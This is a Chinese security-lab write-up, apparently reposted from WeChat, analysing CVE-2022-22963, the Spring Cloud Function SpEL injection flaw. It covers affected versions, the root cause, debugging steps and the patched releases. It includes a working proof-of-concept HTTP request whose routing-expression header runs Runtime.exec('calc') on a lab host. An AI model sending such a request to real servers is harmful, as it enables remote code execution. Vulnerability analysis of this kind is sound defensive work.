网安引领时代,弥天点亮未来
Spring Cloud Function存在远程代码执行漏洞,在 Spring Cloud Function 版本 3.1.6、3.2.2 和不受支持的旧版本中,当使用路由功能时,用户可以提供特制的 SpEL 作为路由表达式,这可能导致远程代码执行和对本地资源的访问。
Spring Cloud Function 3.1.x<=3.1.6
Spring Cloud Function 3.2.x<=3.2.2
漏洞成因
该漏洞是由RoutingFunction功能导致。在Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞。
漏洞复现及分析
1.下载漏洞环境源码
https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
2.使用IDEA mave进行打包调试, pom文件如下
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
4.0.0
io.spring.sample
function-sample-pojo
3.2.1.RELEASE
jar
function-sample-pojo
Spring Cloud Function Web Support
org.springframework.boot
spring-boot-starter-parent
3.0.0-SNAPSHOT
3.2.1-SNAPSHOT
1.0.27.RELEASE
org.springframework.cloud
spring-cloud-starter-function-webflux
org.springframework.boot
spring-boot-configuration-processor
true
org.springframework.boot
spring-boot-starter-test
test
org.springframework.cloud
spring-cloud-function-dependencies
${spring-cloud-function.version}
pom
import
org.apache.maven.plugins
maven-deploy-plugin
true
org.springframework.boot
spring-boot-maven-plugin
org.springframework.boot.experimental
spring-boot-thin-layout
${wrapper.version}
maven-surefire-plugin
**/*Tests.java
**/*Test.java
**/Abstract*.java
spring-snapshots
Spring Snapshots
https://repo.spring.io/libs-snapshot-localrl>
true
false
spring-milestones
Spring Milestones
https://repo.spring.io/libs-milestone-localrl>
false
spring-releases
Spring Releases
https://repo.spring.io/releaserl>
false
spring-snapshots
Spring Snapshots
https://repo.spring.io/libs-snapshot-localrl>
true
false
spring-milestones
Spring Milestones
https://repo.spring.io/libs-milestone-localrl>
false
spring-releases
Spring Releases
https://repo.spring.io/libs-release-localrl>
false
3.修改spring默认端口8080,防止端口冲突这里因情况而定.可编辑application.properties修改。
4.运行环境进行RCE复现
1、启动漏洞环境
2、访问地址
http://10.211.55.7:8090/
3、复现RCE命令执行
POST /functionRouter HTTP/1.1
Host: 10.211.55.7:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
5.漏洞分析
1、根据漏洞原理及官方测试用例可以知晓漏洞触发点在http header中spring.cloud.function.routing-expression字段。
首先找到在FunctionController.java 文件,在FunctionWrapper设置断点进行调试
2.然后进行跟进请求进入到apply方法,接着调用了route方法,通过判断特定的消息头信息是否为空,如果不为空则调用functionFromExpression方法。
3.传参来自请求头中 spring.cloud.function.routing-expression 的值
4.继续跟进调试
5.到functionFromExpression中,即调用Expression对传入的SPEL表达式进行解析,随后调用expression.getValue执行命令
在修复版本中对header使用SimpleEvaluationContext进行安全处理
目前官方已有可更新版本
3.1.7
3.2.3
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f#diff-74927ccf09f812b7124a2ff381cd17c075bbe31296412ce7c3adf569f08a8aab
https://mp.weixin.qq.com/s/2gKqp3YJtZJ7MMtbkHhOBA
https://mp.weixin.qq.com/s/BaXS6I1o0YUt8Npe--Mpbg
知识分享完了
喜欢别忘了关注我们哦~
弥 天
安全实验室
原文始发于微信公众号(弥天安全实验室):Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论